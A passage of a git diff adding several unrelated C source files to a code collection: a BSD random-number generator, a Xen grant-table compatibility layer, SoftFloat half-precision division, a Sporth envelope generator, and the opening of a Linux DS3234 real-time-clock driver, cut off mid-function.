+ * the separation between the two lower order coefficients of the trinomial.
+ */
+
+#define	TYPE_0		0		/* linear congruential */
+#define	BREAK_0		8
+#define	DEG_0		0
+#define	SEP_0		0
+
+#define	TYPE_1		1		/* x**7 + x**3 + 1 */
+#define	BREAK_1		32
+#define	DEG_1		7
+#define	SEP_1		3
+
+#define	TYPE_2		2		/* x**15 + x + 1 */
+#define	BREAK_2		64
+#define	DEG_2		15
+#define	SEP_2		1
+
+#define	TYPE_3		3		/* x**31 + x**3 + 1 */
+#define	BREAK_3		128
+#define	DEG_3		31
+#define	SEP_3		3
+
+#define	TYPE_4		4		/* x**63 + x + 1 */
+#define	BREAK_4		256
+#define	DEG_4		63
+#define	SEP_4		1
+
+/*
+ * Array versions of the above information to make code run faster -- relies
+ * on fact that TYPE_i == i.
+ */
+
+#define	MAX_TYPES	5		/* max number of types above */
+
+static int degrees[MAX_TYPES] = {DEG_0, DEG_1, DEG_2, DEG_3, DEG_4};
+static int seps[MAX_TYPES] = {SEP_0, SEP_1, SEP_2, SEP_3, SEP_4};
+
+
+/*
+ * Initially, everything is set up as if from :
+ *		initstate( 1, &randtbl, 128 );
+ * Note that this initialization takes advantage of the fact that srandom()
+ * advances the front and rear pointers 10*rand_deg times, and hence the
+ * rear pointer which starts at 0 will also end up at zero; thus the zeroeth
+ * element of the state information, which contains info about the current
+ * position of the rear pointer is just
+ *	MAX_TYPES*(rptr - state) + TYPE_3 == TYPE_3.
+ */
+
+static long randtbl[ DEG_3 + 1 ] = { TYPE_3,
+		0x9a319039, 0x32d9c024, 0x9b663182, 0x5da1f342, 
+		0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb, 
+		0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd, 
+		0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 
+		0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7, 
+		0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 
+		0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 
+		0xf5ad9d0e, 0x8999220b, 0x27fb47b9 };
+
+/*
+ * fptr and rptr are two pointers into the state info, a front and a rear
+ * pointer.  These two pointers are always rand_sep places aparts, as they cycle
+ * cyclically through the state information.  (Yes, this does mean we could get
+ * away with just one pointer, but the code for random() is more efficient this
+ * way).  The pointers are left positioned as they would be from the call
+ *			initstate( 1, randtbl, 128 )
+ * (The position of the rear pointer, rptr, is really 0 (as explained above
+ * in the initialization of randtbl) because the state table pointer is set
+ * to point to randtbl[1] (as explained below).
+ */
+
+static long *fptr = &randtbl[SEP_3 + 1];
+static long *rptr = &randtbl[1];
+
+/*
+ * The following things are the pointer to the state information table,
+ * the type of the current generator, the degree of the current polynomial
+ * being used, and the separation between the two pointers.
+ * Note that for efficiency of random(), we remember the first location of
+ * the state information, not the zeroeth.  Hence it is valid to access
+ * state[-1], which is used to store the type of the R.N.G.
+ * Also, we remember the last location, since this is more efficient than
+ * indexing every time to find the address of the last element to see if
+ * the front and rear pointers have wrapped.
+ */
+
+static long *state = &randtbl[1];
+
+static int rand_type = TYPE_3;
+static int rand_deg = DEG_3;
+static int rand_sep = SEP_3;
+
+static long *end_ptr = &randtbl[DEG_3 + 1];
+
+/*
+ * srandom()
+ *
+ * Initialize the random number generator based on the given seed.  If the
+ * type is the trivial no-state-information type, just remember the seed.
+ * Otherwise, initializes state[] based on the given "seed" via a linear
+ * congruential generator.  Then, the pointers are set to known locations
+ * that are exactly rand_sep places apart.  Lastly, it cycles the state
+ * information a given number of times to get rid of any initial dependencies
+ * introduced by the L.C.R.N.G.
+ * Note that the initialization of randtbl[] for default usage relies on
+ * values produced by this routine.
+ */
+int
+srandom(unsigned x)
+{
+    	register int i, j;
+	long random();
+
+	if (rand_type == TYPE_0) {
+		state[0] = x;
+	} else {
+		j = 1;
+		state[ 0 ] = x;
+		for(i = 1; i < rand_deg; i++) {
+			state[i] = 1103515245*state[i - 1] + 12345;
+		}
+		fptr = &state[rand_sep];
+		rptr = &state[0];
+		for(i = 0; i < 10*rand_deg; i++) {
+			random();
+		}
+	}
+}
+
+/*
+ * initstate()
+ *
+ * Initialize the state information in the given array of n bytes for
+ * future random number generation.  Based on the number of bytes we
+ * are given, and the break values for the different R.N.G.'s, we choose
+ * the best (largest) one we can and set things up for it.  srandom() is
+ * then called to initialize the state information.
+ * Note that on return from srandom(), we set state[-1] to be the type
+ * multiplexed with the current value of the rear pointer; this is so
+ * successive calls to initstate() won't lose this information and will
+ * be able to restart with setstate().
+ * Note: the first thing we do is save the current state, if any, just like
+ * setstate() so that it doesn't matter when initstate is called.
+ * Returns a pointer to the old state.
+ */
+char *
+initstate(uint seed, char *arg_state, int n)
+{
+	register char *ostate = (char *)(&state[-1]);
+
+	if (rand_type == TYPE_0) {
+		state[-1] = rand_type;
+	} else {
+		state[-1] = MAX_TYPES * (rptr - state) + rand_type;
+	}
+	if (n < BREAK_1) {
+		if(n < BREAK_0) {
+			abort();
+		}
+		rand_type = TYPE_0;
+		rand_deg = DEG_0;
+		rand_sep = SEP_0;
+	} else if (n < BREAK_2) {
+		rand_type = TYPE_1;
+		rand_deg = DEG_1;
+		rand_sep = SEP_1;
+	} else if (n < BREAK_3) {
+		rand_type = TYPE_2;
+		rand_deg = DEG_2;
+		rand_sep = SEP_2;
+	} else if (n < BREAK_4) {
+		rand_type = TYPE_3;
+		rand_deg = DEG_3;
+		rand_sep = SEP_3;
+	} else {
+		rand_type = TYPE_4;
+		rand_deg = DEG_4;
+		rand_sep = SEP_4;
+	}
+	state = &(((long *)arg_state)[1]);	/* first location */
+	end_ptr = &state[rand_deg];		/* set end_ptr b4 srandom! */
+	srandom(seed);
+	if (rand_type == TYPE_0) {
+		state[-1] = rand_type;
+	} else {
+		state[-1] = MAX_TYPES * (rptr - state) + rand_type;
+	}
+	return(ostate);
+}
+
+/*
+ * setstate()
+ *
+ * Restore the state from the given state array.
+ * Note: it is important that we also remember the locations of the pointers
+ * in the current state information, and restore the locations of the pointers
+ * from the old state information.  This is done by multiplexing the pointer
+ * location into the zeroeth word of the state information.
+ * Note that due to the order in which things are done, it is OK to call
+ * setstate() with the same state as the current state.
+ * Returns a pointer to the old state information.
+ */
+char *
+setstate(char *arg_state)
+{
+	register long *new_state = (long *)arg_state;
+	register int type = new_state[0] % MAX_TYPES;
+	register int rear = new_state[0] / MAX_TYPES;
+	char *ostate = (char *)(&state[-1]);
+
+	if (rand_type == TYPE_0) {
+		state[-1] = rand_type;
+	} else {
+		state[-1] = MAX_TYPES * (rptr - state) + rand_type;
+	}
+	switch(type) {
+	case TYPE_0:
+	case TYPE_1:
+	case TYPE_2:
+	case TYPE_3:
+	case TYPE_4:
+		rand_type = type;
+		rand_deg = degrees[type];
+		rand_sep = seps[type];
+		break;
+
+	default:
+		abort();
+	}
+	state = &new_state[1];
+	if (rand_type != TYPE_0) {
+		rptr = &state[rear];
+		fptr = &state[(rear + rand_sep) % rand_deg];
+	}
+	end_ptr = &state[rand_deg];		/* set end_ptr too */
+	return(ostate);
+}
+
+/*
+ * random()
+ *
+ * If we are using the trivial TYPE_0 R.N.G., just do the old linear
+ * congruential bit.  Otherwise, we do our fancy trinomial stuff, which is the
+ * same in all ther other cases due to all the global variables that have been
+ * set up.  The basic operation is to add the number at the rear pointer into
+ * the one at the front pointer.  Then both pointers are advanced to the next
+ * location cyclically in the table.  The value returned is the sum generated,
+ * reduced to 31 bits by throwing away the "least random" low bit.
+ * Note: the code takes advantage of the fact that both the front and
+ * rear pointers can't wrap on the same call by not testing the rear
+ * pointer if the front one has wrapped.
+ * Returns a 31-bit random number.
+ */
+long
+random(void)
+{
+	long i;
+	
+	if (rand_type == TYPE_0) {
+		i = state[0] = (state[0] * 1103515245 + 12345) & 0x7fffffff;
+	} else {
+		*fptr += *rptr;
+		i = (*fptr >> 1) & 0x7fffffff;	/* chucking least random bit */
+		if (++fptr >= end_ptr) {
+			fptr = state;
+			++rptr;
+		} else {
+			if (++rptr >= end_ptr) {
+				rptr = state;
+			}
+		}
+	}
+	return(i);
+}
diff --git a/pool/shard001/C/0023831_grant_table.c b/pool/shard001/C/0023831_grant_table.c
new file mode 100644
index 0000000000000000000000000000000000000000..f3a6d937763a1cb121e2826f4b5e4f621131a021
--- /dev/null
+++ b/pool/shard001/C/0023831_grant_table.c
@@ -0,0 +1,236 @@
+/******************************************************************************
+ * common/compat/grant_table.c
+ *
+ */
+
+#include <compat/grant_table.h>
+
+#define xen_grant_entry grant_entry
+CHECK_grant_entry;
+#undef xen_grant_entry
+
+#define xen_gnttab_map_grant_ref gnttab_map_grant_ref
+CHECK_gnttab_map_grant_ref;
+#undef xen_gnttab_map_grant_ref
+
+#define xen_gnttab_unmap_grant_ref gnttab_unmap_grant_ref
+CHECK_gnttab_unmap_grant_ref;
+#undef xen_gnttab_unmap_grant_ref
+
+#define xen_gnttab_unmap_and_replace gnttab_unmap_and_replace
+CHECK_gnttab_unmap_and_replace;
+#undef xen_gnttab_unmap_and_replace
+
+DEFINE_XEN_GUEST_HANDLE(gnttab_setup_table_compat_t);
+DEFINE_XEN_GUEST_HANDLE(gnttab_transfer_compat_t);
+DEFINE_XEN_GUEST_HANDLE(gnttab_copy_compat_t);
+
+#define xen_gnttab_dump_table gnttab_dump_table
+CHECK_gnttab_dump_table;
+#undef xen_gnttab_dump_table
+
+int compat_grant_table_op(unsigned int cmd,
+                          XEN_GUEST_HANDLE(void) cmp_uop,
+                          unsigned int count)
+{
+    int rc = 0;
+    unsigned int i;
+
+    switch ( cmd )
+    {
+#define CASE(name) \
+    case GNTTABOP_##name: \
+        if ( unlikely(!guest_handle_okay(guest_handle_cast(cmp_uop, \
+                                                           gnttab_##name##_compat_t), \
+                                         count)) ) \
+            rc = -EFAULT; \
+        break
+
+#ifndef CHECK_gnttab_map_grant_ref
+    CASE(map_grant_ref);
+#endif
+
+#ifndef CHECK_gnttab_unmap_grant_ref
+    CASE(unmap_grant_ref);
+#endif
+
+#ifndef CHECK_gnttab_unmap_and_replace
+    CASE(unmap_and_replace);
+#endif
+
+#ifndef CHECK_gnttab_setup_table
+    CASE(setup_table);
+#endif
+
+#ifndef CHECK_gnttab_transfer
+    CASE(transfer);
+#endif
+
+#ifndef CHECK_gnttab_copy
+    CASE(copy);
+#endif
+
+#ifndef CHECK_gnttab_dump_table
+    CASE(dump_table);
+#endif
+
+#undef CASE
+    default:
+        return do_grant_table_op(cmd, cmp_uop, count);
+    }
+
+    if ( count > 512 )
+        rc = -EINVAL;
+
+    for ( i = 0; i < count && rc == 0; )
+    {
+        unsigned int n;
+        union {
+            XEN_GUEST_HANDLE(void) uop;
+            struct gnttab_setup_table *setup;
+            struct gnttab_transfer *xfer;
+            struct gnttab_copy *copy;
+        } nat;
+        union {
+            struct compat_gnttab_setup_table setup;
+            struct compat_gnttab_transfer xfer;
+            struct compat_gnttab_copy copy;
+        } cmp;
+
+        set_xen_guest_handle(nat.uop, (void *)COMPAT_ARG_XLAT_VIRT_BASE);
+        switch ( cmd )
+        {
+        case GNTTABOP_setup_table:
+            if ( unlikely(count > 1) )
+                rc = -EINVAL;
+            else if ( unlikely(__copy_from_guest(&cmp.setup, cmp_uop, 1)) )
+                rc = -EFAULT;
+            else if ( unlikely(!compat_handle_okay(cmp.setup.frame_list, cmp.setup.nr_frames)) )
+                rc = -EFAULT;
+            else
+            {
+                unsigned int max_frame_list_size_in_page =
+                    (COMPAT_ARG_XLAT_SIZE - sizeof(*nat.setup)) /
+                    sizeof(*nat.setup->frame_list.p);
+                if ( max_frame_list_size_in_page < max_nr_grant_frames )
+                {
+                    gdprintk(XENLOG_WARNING,
+                             "max_nr_grant_frames is too large (%u,%u)\n",
+                             max_nr_grant_frames, max_frame_list_size_in_page);
+                    rc = -EINVAL;
+                }
+                else
+                {
+#define XLAT_gnttab_setup_table_HNDL_frame_list(_d_, _s_) \
+                    set_xen_guest_handle((_d_)->frame_list, (unsigned long *)(nat.setup + 1))
+                    XLAT_gnttab_setup_table(nat.setup, &cmp.setup);
+#undef XLAT_gnttab_setup_table_HNDL_frame_list
+                    rc = gnttab_setup_table(guest_handle_cast(nat.uop, gnttab_setup_table_t), 1);
+                }
+            }
+            if ( rc == 0 )
+            {
+#define XLAT_gnttab_setup_table_HNDL_frame_list(_d_, _s_) \
+                do \
+                { \
+                    if ( (_s_)->status == GNTST_okay ) \
+                    { \
+                        for ( i = 0; i < (_s_)->nr_frames; ++i ) \
+                        { \
+                            unsigned int frame = (_s_)->frame_list.p[i]; \
+                            (void)__copy_to_compat_offset((_d_)->frame_list, i, &frame, 1); \
+                        } \
+                    } \
+                } while (0)
+                XLAT_gnttab_setup_table(&cmp.setup, nat.setup);
+#undef XLAT_gnttab_setup_table_HNDL_frame_list
+                if ( unlikely(__copy_to_guest(cmp_uop, &cmp.setup, 1)) )
+                    rc = -EFAULT;
+                else
+                    i = 1;
+            }
+            break;
+
+        case GNTTABOP_transfer:
+            for ( n = 0; n < COMPAT_ARG_XLAT_SIZE / sizeof(*nat.xfer) && i < count && rc == 0; ++i, ++n )
+            {
+                if ( unlikely(__copy_from_guest_offset(&cmp.xfer, cmp_uop, i, 1)) )
+                    rc = -EFAULT;
+                else
+                {
+                    XLAT_gnttab_transfer(nat.xfer + n, &cmp.xfer);
+                }
+            }
+            if ( rc == 0 )
+                rc = gnttab_transfer(guest_handle_cast(nat.uop, gnttab_transfer_t), n);
+            if ( rc == 0 )
+            {
+                XEN_GUEST_HANDLE(gnttab_transfer_compat_t) xfer;
+
+                xfer = guest_handle_cast(cmp_uop, gnttab_transfer_compat_t);
+                guest_handle_add_offset(xfer, i);
+                while ( n-- )
+                {
+                    guest_handle_add_offset(xfer, -1);
+                    if ( __copy_field_to_guest(xfer, nat.xfer + n, status) )
+                        rc = -EFAULT;
+                }
+            }
+            break;
+
+        case GNTTABOP_copy:
+            for ( n = 0; n < COMPAT_ARG_XLAT_SIZE / sizeof(*nat.copy) && i < count && rc == 0; ++i, ++n )
+            {
+                if ( unlikely(__copy_from_guest_offset(&cmp.copy, cmp_uop, i, 1)) )
+                    rc = -EFAULT;
+                else
+                {
+                    enum XLAT_gnttab_copy_source_u source_u;
+                    enum XLAT_gnttab_copy_dest_u dest_u;
+
+                    if ( cmp.copy.flags & GNTCOPY_source_gref )
+                        source_u = XLAT_gnttab_copy_source_u_ref;
+                    else
+                        source_u = XLAT_gnttab_copy_source_u_gmfn;
+                    if ( cmp.copy.flags & GNTCOPY_dest_gref )
+                        dest_u = XLAT_gnttab_copy_dest_u_ref;
+                    else
+                        dest_u = XLAT_gnttab_copy_dest_u_gmfn;
+                    XLAT_gnttab_copy(nat.copy + n, &cmp.copy);
+                }
+            }
+            if ( rc == 0 )
+                rc = gnttab_copy(guest_handle_cast(nat.uop, gnttab_copy_t), n);
+            if ( rc == 0 )
+            {
+                XEN_GUEST_HANDLE(gnttab_copy_compat_t) copy;
+
+                copy = guest_handle_cast(cmp_uop, gnttab_copy_compat_t);
+                guest_handle_add_offset(copy, i);
+                while ( n-- )
+                {
+                    guest_handle_add_offset(copy, -1);
+                    if ( __copy_field_to_guest(copy, nat.copy + n, status) )
+                        rc = -EFAULT;
+                }
+            }
+            break;
+
+        default:
+            domain_crash(current->domain);
+            break;
+        }
+    }
+
+    return rc;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-set-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/pool/shard001/C/0023837_f16_div.c b/pool/shard001/C/0023837_f16_div.c
new file mode 100644
index 0000000000000000000000000000000000000000..b81457df115b1cbed57e4aa66ce34bbb70b0a091
--- /dev/null
+++ b/pool/shard001/C/0023837_f16_div.c
@@ -0,0 +1,186 @@
+
+/*============================================================================
+
+This C source file is part of the SoftFloat IEEE Floating-Point Arithmetic
+Package, Release 3b, by John R. Hauser.
+
+Copyright 2011, 2012, 2013, 2014, 2015, 2016 The Regents of the University of
+California.  All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice,
+    this list of conditions, and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice,
+    this list of conditions, and the following disclaimer in the documentation
+    and/or other materials provided with the distribution.
+
+ 3. Neither the name of the University nor the names of its contributors may
+    be used to endorse or promote products derived from this software without
+    specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS "AS IS", AND ANY
+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE
+DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+=============================================================================*/
+
+#include <stdbool.h>
+#include <stdint.h>
+#include "platform.h"
+#include "internals.h"
+#include "specialize.h"
+#include "softfloat.h"
+
+extern const uint16_t softfloat_approxRecip_1k0s[];
+extern const uint16_t softfloat_approxRecip_1k1s[];
+
+float16_t f16_div( float16_t a, float16_t b )
+{
+    union ui16_f16 uA;
+    uint_fast16_t uiA;
+    bool signA;
+    int_fast8_t expA;
+    uint_fast16_t sigA;
+    union ui16_f16 uB;
+    uint_fast16_t uiB;
+    bool signB;
+    int_fast8_t expB;
+    uint_fast16_t sigB;
+    bool signZ;
+    struct exp8_sig16 normExpSig;
+    int_fast8_t expZ;
+#ifdef SOFTFLOAT_FAST_DIV32TO16
+    uint_fast32_t sig32A;
+    uint_fast16_t sigZ;
+#else
+    int index;
+    uint16_t r0;
+    uint_fast16_t sigZ, rem;
+#endif
+    uint_fast16_t uiZ;
+    union ui16_f16 uZ;
+
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    uA.f = a;
+    uiA = uA.ui;
+    signA = signF16UI( uiA );
+    expA  = expF16UI( uiA );
+    sigA  = fracF16UI( uiA );
+    uB.f = b;
+    uiB = uB.ui;
+    signB = signF16UI( uiB );
+    expB  = expF16UI( uiB );
+    sigB  = fracF16UI( uiB );
+    signZ = signA ^ signB;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    if ( expA == 0x1F ) {
+        if ( sigA ) goto propagateNaN;
+        if ( expB == 0x1F ) {
+            if ( sigB ) goto propagateNaN;
+            goto invalid;
+        }
+        goto infinity;
+    }
+    if ( expB == 0x1F ) {
+        if ( sigB ) goto propagateNaN;
+        goto zero;
+    }
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    if ( ! expB ) {
+        if ( ! sigB ) {
+            if ( ! (expA | sigA) ) goto invalid;
+            softfloat_raiseFlags( softfloat_flag_infinite );
+            goto infinity;
+        }
+        normExpSig = softfloat_normSubnormalF16Sig( sigB );
+        expB = normExpSig.exp;
+        sigB = normExpSig.sig;
+    }
+    if ( ! expA ) {
+        if ( ! sigA ) goto zero;
+        normExpSig = softfloat_normSubnormalF16Sig( sigA );
+        expA = normExpSig.exp;
+        sigA = normExpSig.sig;
+    }
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    expZ = expA - expB + 0xE;
+    sigA |= 0x0400;
+    sigB |= 0x0400;
+#ifdef SOFTFLOAT_FAST_DIV32TO16
+    if ( sigA < sigB ) {
+        --expZ;
+        sig32A = (uint_fast32_t) sigA<<15;
+    } else {
+        sig32A = (uint_fast32_t) sigA<<14;
+    }
+    sigZ = sig32A / sigB;
+    if ( ! (sigZ & 7) ) sigZ |= ((uint_fast32_t) sigB * sigZ != sig32A);
+#else
+    if ( sigA < sigB ) {
+        --expZ;
+        sigA <<= 5;
+    } else {
+        sigA <<= 4;
+    }
+    index = sigB>>6 & 0xF;
+    r0 = softfloat_approxRecip_1k0s[index]
+             - (((uint_fast32_t) softfloat_approxRecip_1k1s[index]
+                     * (sigB & 0x3F))
+                    >>10);
+    sigZ = ((uint_fast32_t) sigA * r0)>>16;
+    rem = (sigA<<10) - sigZ * sigB;
+    sigZ += (rem * (uint_fast32_t) r0)>>26;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+    ++sigZ;
+    if ( ! (sigZ & 7) ) {
+        sigZ &= ~1;
+        rem = (sigA<<10) - sigZ * sigB;
+        if ( rem & 0x8000 ) {
+            sigZ -= 2;
+        } else {
+            if ( rem ) sigZ |= 1;
+        }
+    }
+#endif
+    return softfloat_roundPackToF16( signZ, expZ, sigZ );
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+ propagateNaN:
+    uiZ = softfloat_propagateNaNF16UI( uiA, uiB );
+    goto uiZ;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+ invalid:
+    softfloat_raiseFlags( softfloat_flag_invalid );
+    uiZ = defaultNaNF16UI;
+    goto uiZ;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+ infinity:
+    uiZ = packToF16UI( signZ, 0x1F, 0 );
+    goto uiZ;
+    /*------------------------------------------------------------------------
+    *------------------------------------------------------------------------*/
+ zero:
+    uiZ = packToF16UI( signZ, 0, 0 );
+ uiZ:
+    uZ.ui = uiZ;
+    return uZ.f;
+
+}
+
diff --git a/pool/shard001/C/0023854_tenv.c b/pool/shard001/C/0023854_tenv.c
new file mode 100644
index 0000000000000000000000000000000000000000..e45bd9fb1ded495782015327c29d4f70dc56cb86
--- /dev/null
+++ b/pool/shard001/C/0023854_tenv.c
@@ -0,0 +1,65 @@
+#include "plumber.h"
+
+int sporth_tenv(sporth_stack *stack, void *ud)
+{
+    plumber_data *pd = ud;
+
+    SPFLOAT trig, attack, hold, release;
+
+    SPFLOAT out = 0;
+    sp_tenv *data;
+
+    switch(pd->mode){
+        case PLUMBER_CREATE:
+            sp_tenv_create(&data);
+            plumber_add_ugen(pd, SPORTH_TENV, data);
+            if(sporth_check_args(stack, "ffff") != SPORTH_OK) {
+                plumber_print(pd, "Init: not enough arguments for tenv\n");
+                return PLUMBER_NOTOK;
+            }
+            release = sporth_stack_pop_float(stack);
+            hold = sporth_stack_pop_float(stack);
+            attack = sporth_stack_pop_float(stack);
+            trig = sporth_stack_pop_float(stack);
+
+            sporth_stack_push_float(stack, 0);
+            break;
+
+        case PLUMBER_INIT:
+            release = sporth_stack_pop_float(stack);
+            hold = sporth_stack_pop_float(stack);
+            attack = sporth_stack_pop_float(stack);
+            trig = sporth_stack_pop_float(stack);
+            data = pd->last->ud;
+            sp_tenv_init(pd->sp, data);
+            sporth_stack_push_float(stack, 0);
+            break;
+
+        case PLUMBER_COMPUTE:
+            release = sporth_stack_pop_float(stack);
+            hold = sporth_stack_pop_float(stack);
+            attack = sporth_stack_pop_float(stack);
+            trig = sporth_stack_pop_float(stack);
+
+            data = pd->last->ud;
+            data->atk = attack;
+            data->rel = release;
+            data->hold = hold;
+            sp_tenv_compute(pd->sp, data, &trig, &out);
+            sporth_stack_push_float(stack, out);
+            break;
+
+        case PLUMBER_DESTROY:
+#ifdef DEBUG_MODE
+            plumber_print(pd, "Destroying tenv\n");
+#endif
+            data = pd->last->ud;
+            sp_tenv_destroy(&data);
+            break;
+
+        default:
+           plumber_print(pd, "Error: Unknown mode!");
+           break;
+    }
+    return PLUMBER_OK;
+}
diff --git a/pool/shard001/C/0023883_rtc-ds3234.c b/pool/shard001/C/0023883_rtc-ds3234.c
new file mode 100644
index 0000000000000000000000000000000000000000..45e5b106af7373f40ea01286cafe4f48d82ca2ee
--- /dev/null
+++ b/pool/shard001/C/0023883_rtc-ds3234.c
@@ -0,0 +1,290 @@
+/* drivers/rtc/rtc-ds3234.c
+ *
+ * Driver for Dallas Semiconductor (DS3234) SPI RTC with Integrated Crystal
+ * and SRAM.
+ *
+ * Copyright (C) 2008 MIMOMax Wireless Ltd.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * Changelog:
+ *
+ * 07-May-2008: Dennis Aberilla <denzzzhome@yahoo.com>
+ *		- Created based on the max6902 code. Only implements the
+ *		  date/time keeping functions; no SRAM yet.
+ */
+
+#include <linux/device.h>
+#include <linux/platform_device.h>
+#include <linux/rtc.h>
+#include <linux/spi/spi.h>
+#include <linux/bcd.h>
+
+#define DS3234_REG_SECONDS	0x00
+#define DS3234_REG_MINUTES	0x01
+#define DS3234_REG_HOURS	0x02
+#define DS3234_REG_DAY		0x03
+#define DS3234_REG_DATE		0x04
+#define DS3234_REG_MONTH	0x05
+#define DS3234_REG_YEAR		0x06
+#define DS3234_REG_CENTURY	(1 << 7) /* Bit 7 of the Month register */
+
+#define DS3234_REG_CONTROL	0x0E
+#define DS3234_REG_CONT_STAT	0x0F
+
+#undef DS3234_DEBUG
+
+struct ds3234 {
+	struct rtc_device *rtc;
+	u8 buf[8]; /* Burst read: addr + 7 regs */
+	u8 tx_buf[2];
+	u8 rx_buf[2];
+};
+
+static void ds3234_set_reg(struct device *dev, unsigned char address,
+				unsigned char data)
+{
+	struct spi_device *spi = to_spi_device(dev);
+	unsigned char buf[2];
+
+	/* MSB must be '1' to indicate write */
+	buf[0] = address | 0x80;
+	buf[1] = data;
+
+	spi_write(spi, buf, 2);
+}
+
+static int ds3234_get_reg(struct device *dev, unsigned char address,
+				unsigned char *data)
+{
+	struct spi_device *spi = to_spi_device(dev);
+	struct ds3234 *chip = dev_get_drvdata(dev);
+	struct spi_message message;
+	struct spi_transfer xfer;
+	int status;
+
+	if (!data)
+		return -EINVAL;
+
+	/* Build our spi message */
+	spi_message_init(&message);
+	memset(&xfer, 0, sizeof(xfer));
+
+	/* Address + dummy tx byte */
+	xfer.len = 2;
+	xfer.tx_buf = chip->tx_buf;
+	xfer.rx_buf = chip->rx_buf;
+
+	chip->tx_buf[0] = address;
+	chip->tx_buf[1] = 0xff;
+
+	spi_message_add_tail(&xfer, &message);
+
+	/* do the i/o */
+	status = spi_sync(spi, &message);
+	if (status == 0)
+		status = message.status;
+	else
+		return status;
+
+	*data = chip->rx_buf[1];
+
+	return status;
+}
+
+static int ds3234_get_datetime(struct device *dev, struct rtc_time *dt)
+{
+	struct spi_device *spi = to_spi_device(dev);
+	struct ds3234 *chip = dev_get_drvdata(dev);
+	struct spi_message message;
+	struct spi_transfer xfer;
+	int status;
+
+	/* build the message */
+	spi_message_init(&message);
+	memset(&xfer, 0, sizeof(xfer));
+	xfer.len = 1 + 7;	/* Addr + 7 registers */
+	xfer.tx_buf = chip->buf;
+	xfer.rx_buf = chip->buf;
+	chip->buf[0] = 0x00;	/* Start address */
+	spi_message_add_tail(&xfer, &message);
+
+	/* do the i/o */
+	status = spi_sync(spi, &message);
+	if (status == 0)
+		status = message.status;
+	else
+		return status;
+
+	/* Seconds, Minutes, Hours, Day, Date, Month, Year */
+	dt->tm_sec	= bcd2bin(chip->buf[1]);
+	dt->tm_min	= bcd2bin(chip->buf[2]);
+	dt->tm_hour	= bcd2bin(chip->buf[3] & 0x3f);
+	dt->tm_wday	= bcd2bin(chip->buf[4]) - 1; /* 0 = Sun */
+	dt->tm_mday	= bcd2bin(chip->buf[5]);
+	dt->tm_mon	= bcd2bin(chip->buf[6] & 0x1f) - 1; /* 0 = Jan */
+	dt->tm_year 	= bcd2bin(chip->buf[7] & 0xff) + 100; /* Assume 20YY */
+
+#ifdef DS3234_DEBUG
+	dev_dbg(dev, "\n%s : Read RTC values\n", __func__);
+	dev_dbg(dev, "tm_hour: %i\n", dt->tm_hour);
+	dev_dbg(dev, "tm_min : %i\n", dt->tm_min);
+	dev_dbg(dev, "tm_sec : %i\n", dt->tm_sec);
+	dev_dbg(dev, "tm_wday: %i\n", dt->tm_wday);
+	dev_dbg(dev, "tm_mday: %i\n", dt->tm_mday);
+	dev_dbg(dev, "tm_mon : %i\n", dt->tm_mon);
+	dev_dbg(dev, "tm_year: %i\n", dt->tm_year);
+#endif
+
+	return 0;
+}
+
+static int ds3234_set_datetime(struct device *dev, struct rtc_time *dt)
+{
+#ifdef DS3234_DEBUG
+	dev_dbg(dev, "\n%s : Setting RTC values\n", __func__);
+	dev_dbg(dev, "tm_sec : %i\n", dt->tm_sec);
+	dev_dbg(dev, "tm_min : %i\n", dt->tm_min);
+	dev_dbg(dev, "tm_hour: %i\n", dt->tm_hour);
+	dev_dbg(dev, "tm_wday: %i\n", dt->tm_wday);
+	dev_dbg(dev, "tm_mday: %i\n", dt->tm_mday);
+	dev_dbg(dev, "tm_mon : %i\n", dt->tm_mon);
+	dev_dbg(dev, "tm_year: %i\n", dt->tm_year);
+#endif
+
+	ds3234_set_reg(dev, DS3234_REG_SECONDS, bin2bcd(dt->tm_sec));
+	ds3234_set_reg(dev, DS3234_REG_MINUTES, bin2bcd(dt->tm_min));
+	ds3234_set_reg(dev, DS3234_REG_HOURS, bin2bcd(dt->tm_hour) & 0x3f);
+
+	/* 0 = Sun */
+	ds3234_set_reg(dev, DS3234_REG_DAY, bin2bcd(dt->tm_wday + 1));
